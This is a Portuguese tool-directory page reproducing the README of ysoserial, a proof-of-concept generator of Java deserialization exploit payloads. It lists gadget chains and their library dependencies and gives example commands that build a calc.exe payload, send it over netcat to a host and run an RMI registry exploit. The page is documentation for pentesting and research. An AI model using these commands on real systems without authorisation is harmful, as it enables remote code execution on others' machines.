Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ysoserial — Uma ferramenta de prova de conceito para gerar payloads que exploram a desserialização insegura de objetos Java. | Kitploit
Ferramentas/GitHubGitHub/frohoff/ysoserial
Frameworks de ExploraçãoGeração de PayloadsAnálise de VulnerabilidadesExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubfrohoff/ysoserial

ysoserial

Uma ferramenta de prova de conceito para gerar payloads que exploram a desserialização insegura de objetos Java.

Ver Repositório
9.0k1.9khá 8 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

ysoserial

GitHub release Travis Build Status Appveyor Build status JitPack

Uma ferramenta de prova de conceito para gerar payloads que exploram a desserialização insegura de objetos Java.

logo

Descrição

Originalmente lançado como parte da palestra AppSecCali 2015 "Marshalling Pickles: how deserializing objects will ruin your day" com cadeias de gadgets para Apache Commons Collections (3.x e 4.x), Spring Beans/Core (4.x) e Groovy (2.3.x). Posteriormente atualizado para incluir cadeias de gadgets adicionais para JRE <= 1.7u21 e várias outras bibliotecas.

ysoserial é uma coleção de utilitários e "cadeias de gadgets" de programação orientada a propriedades descobertas em bibliotecas Java comuns que podem, sob as condições certas, explorar aplicações Java que realizam desserialização insegura de objetos. O programa principal recebe um comando especificado pelo usuário e o envolve na cadeia de gadgets especificada, serializando esses objetos para a saída padrão. Quando uma aplicação com os gadgets necessários no classpath desserializa esses dados de forma insegura, a cadeia será automaticamente invocada e fará com que o comando seja executado no host da aplicação.

Deve-se notar que a vulnerabilidade está na aplicação que realiza a desserialização insegura e NÃO em ter gadgets no classpath.

Aviso Legal

Este software foi criado exclusivamente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado. Os mantenedores do projeto não são responsáveis pelo uso indevido do software. Use com responsabilidade.

Uso

root@kitploit:~
$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Tipos de payload disponíveis:
     Payload             Autores                     Dependências
     -------             -------                     ------------
     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     MozillaRhino2       @_tint0                     js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

Exemplos

root@kitploit:~
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

Instalação

GitHub release

Baixe o último jar de lançamento dos releases do GitHub.

Compilação

Requer Java 1.7+ e Maven 3.x+

mvn clean package -DskipTests

Status do Código

Build Status Build status

Contribuindo

  1. Faça um fork do repositório
  2. Crie sua branch de funcionalidade (git checkout -b minha-nova-funcionalidade)
  3. Commit suas alterações (git commit -am 'Adiciona alguma funcionalidade')
  4. Faça push para a branch (git push origin minha-nova-funcionalidade)
  5. Crie um novo Pull Request

Veja Também

  • Java-Deserialization-Cheat-Sheet: informações sobre vulnerabilidades, ferramentas, blogs/artigos, etc.
  • marshalsec: projeto similar para vários formatos/bibliotecas de desserialização Java
  • ysoserial.net: projeto similar para desserialização .NET
Baixar ferramenta